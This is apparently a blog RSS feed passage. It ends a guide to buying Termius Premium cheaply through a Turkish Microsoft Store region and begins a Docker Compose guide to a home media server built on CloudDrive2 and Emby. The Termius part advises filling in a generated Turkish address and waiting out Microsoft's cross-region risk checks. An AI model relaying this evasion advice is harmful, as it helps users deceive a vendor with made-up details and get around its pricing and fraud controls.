&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;AppContainer Loopback Utility — 点击 Exempt All&quot; loading=&quot;lazy&quot; width=&quot;784&quot; height=&quot;737&quot; src=&quot;/_astro/termius-loopback.CGjE459L_2sxLvb.webp&quot; srcset=&quot;/_astro/termius-loopback.CGjE459L_1Tdw1w.webp 640w, /_astro/termius-loopback.CGjE459L_1escK5.webp 750w, /_astro/termius-loopback.CGjE459L_2sxLvb.webp 784w&quot; /&gt;&lt;figcaption&gt;AppContainer Loopback Utility — 点击 Exempt All&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;打开 Termius，登录你的微软土区账号&lt;/li&gt;
&lt;li&gt;点击右上角的 &lt;strong&gt;“Upgrade Now”&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;正常情况下你会看到 &lt;strong&gt;₺85/Year&lt;/strong&gt; 的价格——也就是 &lt;strong&gt;20 块钱一年&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Termius 显示 ₺85/年 — 关键！&quot; loading=&quot;lazy&quot; width=&quot;1418&quot; height=&quot;1205&quot; src=&quot;/_astro/termius-subscription-price.B4QLUpMY_1Vdr3I.webp&quot; srcset=&quot;/_astro/termius-subscription-price.B4QLUpMY_ZhihXf.webp 640w, /_astro/termius-subscription-price.B4QLUpMY_24dXL.webp 750w, /_astro/termius-subscription-price.B4QLUpMY_68ytH.webp 828w, /_astro/termius-subscription-price.B4QLUpMY_Z1L7lkI.webp 1080w, /_astro/termius-subscription-price.B4QLUpMY_2kxnFe.webp 1280w, /_astro/termius-subscription-price.B4QLUpMY_1Vdr3I.webp 1418w&quot; /&gt;&lt;figcaption&gt;Termius 显示 ₺85/年 — 关键！&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;点击购买，走正常付款流程&lt;/li&gt;
&lt;li&gt;如果需要填地址，用土耳其地址生成器生成一个就行&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;订阅成功确认页面&quot; loading=&quot;lazy&quot; width=&quot;1087&quot; height=&quot;1272&quot; src=&quot;/_astro/termius-purchase-confirm.DxW1s8RV_Z115vd4.webp&quot; srcset=&quot;/_astro/termius-purchase-confirm.DxW1s8RV_1mpp93.webp 640w, /_astro/termius-purchase-confirm.DxW1s8RV_18QjTJ.webp 750w, /_astro/termius-purchase-confirm.DxW1s8RV_1Qt0l2.webp 828w, /_astro/termius-purchase-confirm.DxW1s8RV_ZyfT2p.webp 1080w, /_astro/termius-purchase-confirm.DxW1s8RV_Z115vd4.webp 1087w&quot; /&gt;&lt;figcaption&gt;订阅成功确认页面&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;⚠️ &lt;strong&gt;如果出现风控提示：&lt;/strong&gt; 说明微软的风控系统认定你的账号有跨区嫌疑。&lt;strong&gt;不要慌，等 7 天&lt;/strong&gt;，之后再重复上面的兑换步骤就能成功。&lt;/p&gt;&lt;/blockquote&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;订阅成功之后&lt;a href=&quot;#订阅成功之后&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;兑换完成后，Termius Premium 的权益：&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;✅ 无限设备同步（跨 Windows / macOS / iOS / Android）&lt;/li&gt;
&lt;li&gt;✅ SFTP 文件传输&lt;/li&gt;
&lt;li&gt;✅ 端口转发（Local / Remote / Dynamic）&lt;/li&gt;
&lt;li&gt;✅ 分组管理 + 标签&lt;/li&gt;
&lt;li&gt;✅ 剪贴板同步&lt;/li&gt;
&lt;li&gt;✅ 主题自定义&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;常见问题&lt;a href=&quot;#常见问题&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Q：土区账号会影响我现有的微软服务吗？&lt;/strong&gt;
A：不影响。你可以在同一个微软账号下享用土区的廉价订阅，OneDrive、Office 等都不受影响。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Q：订阅会自动续费吗？&lt;/strong&gt;
A：是的，到期会自动续费。建议在礼品卡余额充足的状态下保持订阅，或者到期前手动再买一张礼品卡充进去。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Q：会不会被封号？&lt;/strong&gt;
A：微软对跨区购买执行的是「风控拦截 + 不禁用」策略——被检测到了最多是购买失败，不会封号。只要你不是用盗刷的礼品卡，纯粹是跨区购买，安全系数很高。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Q：Mac 上能用吗？&lt;/strong&gt;
A：Termius 本身支持 Mac，但土区订阅兑换流程需要 Windows + 微软商店操作。成功后登录你的账号，Mac 端自动同步 Premium 状态。&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;em&gt;本文转载自 &lt;a href=&quot;https://www.nodeseek.com/post-295429-1&quot; target=&quot;_blank&quot;&gt;NodeSeek 论坛 @Lite 的教程&lt;/a&gt;，原作者耗时两周踩坑总结，在此致谢。&lt;/em&gt;&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>家庭媒体中心全家桶部署教程：CD2 + Emby + Symedia + Redia</title><link>https://ld.ac.cn/posts/media-center-deployment/</link><guid isPermaLink="true">https://ld.ac.cn/posts/media-center-deployment/</guid><description>基于 Docker Compose 的完整媒体库搭建教程，从 CloudDrive2 挂载网盘到 Symedia 刮削、Emby 海报墙再到 Redia 302 直链播放，一步步教你搭建属于你自己的家庭媒体中心。</description><pubDate>Sun, 28 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;基于 Docker Compose 部署，每个服务独立一个 compose 文件&lt;br /&gt;
链路：115网盘 → CD2 挂载 → Symedia 生成 strm → Emby 海报墙 → Redia 302 直链&lt;/p&gt;&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;section&gt;&lt;h2&gt;整体架构&lt;a href=&quot;#整体架构&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;115网盘/阿里云盘/百度网盘&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;│&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;▼&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;CloudDrive2 ─── 网盘挂载本地（端口 19798）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;│&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;▼&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Symedia ─── 监控网盘 + 生成 .strm + 刮削归档（端口 8095）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;│&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;▼&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Emby ─── 媒体库管理 + 海报墙（端口 8096）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;│&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;▼&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Redia ─── 302 直链反向代理（端口 9025）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;│&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;       &lt;/span&gt;&lt;/span&gt;&lt;span&gt;▼&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;用户播放&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;展开&lt;/span&gt;&lt;span&gt;收起&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;前置准备&lt;a href=&quot;#前置准备&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Docker Engine 24+（含 Compose V2 插件）&lt;/li&gt;
&lt;li&gt;Linux 服务器或 NAS（建议 4G+ 内存）&lt;/li&gt;
&lt;li&gt;115 网盘会员（或阿里云盘、123 云盘）&lt;/li&gt;
&lt;li&gt;Symedia 激活码（必购）&lt;/li&gt;
&lt;li&gt;Redia 激活码&lt;/li&gt;
&lt;/ul&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;目录结构&lt;a href=&quot;#目录结构&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/clouddrive2/config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/emby/config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/symedia/config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/symedia/playwright&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/redia/config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/CloudNAS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/media&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;/volume1&lt;/code&gt; 是 NAS 主存储路径，Linux 服务器可改用 &lt;code&gt;/opt&lt;/code&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;一、CloudDrive2 — 云盘挂载服务&lt;a href=&quot;#一clouddrive2--云盘挂载服务&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;docker-compose.yml&lt;a href=&quot;#docker-composeyml&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;创建 &lt;code&gt;/volume1/docker/clouddrive2/docker-compose.yml&lt;/code&gt;：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;services&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;clouddrive2&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;container_name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;clouddrive2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;image&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;cloudnas/clouddrive2-unstable:latest&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;restart&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;always&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;network_mode&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;host&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;pid&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;host&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;privileged&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;devices&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/dev/fuse:/dev/fuse&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;CLOUDDRIVE_HOME=/Config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;ENABLE_RUN_AFTER_START=true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;volumes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/volume1/CloudNAS:/CloudNAS:shared&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/volume1/docker/clouddrive2/config:/Config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;展开&lt;/span&gt;&lt;span&gt;收起&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;启动和配置&lt;a href=&quot;#启动和配置&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/clouddrive2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;up&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;访问 &lt;code&gt;http://服务器IP:19798&lt;/code&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;设置管理密码&lt;/li&gt;
&lt;li&gt;左侧云盘 → 绑定 115 或其他网盘&lt;/li&gt;
&lt;li&gt;挂载到本地：挂载点选 &lt;code&gt;/CloudNAS&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt; 挂载路径前建议加一层目录，如 &lt;code&gt;/CloudNAS/CloudDrive/115&lt;/code&gt;。这样 CD2 掉盘恢复后不需要重启其他容器。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;💡 挂载失败则执行：&lt;code&gt;sudo mount --make-shared /volume1&lt;/code&gt;&lt;br /&gt;
飞牛系统需先配置 Docker MountFlags=shared&lt;/p&gt;&lt;/blockquote&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;二、Emby — 媒体库管理&lt;a href=&quot;#二emby--媒体库管理&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;docker-compose.yml&lt;a href=&quot;#docker-composeyml-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;创建 &lt;code&gt;/volume1/docker/emby/docker-compose.yml&lt;/code&gt;：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;services&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;emby&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;container_name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;emby&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;image&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;linuxserver/emby:4.8.11&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;restart&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;always&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;network_mode&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;bridge&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;privileged&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;devices&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/dev/dri:/dev/dri&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;&quot;8096:8096&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;PUID=0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;PGID=0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;volumes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/volume1/docker/emby/config:/config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;# 以下路径必须与 Symedia 完全一致&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- 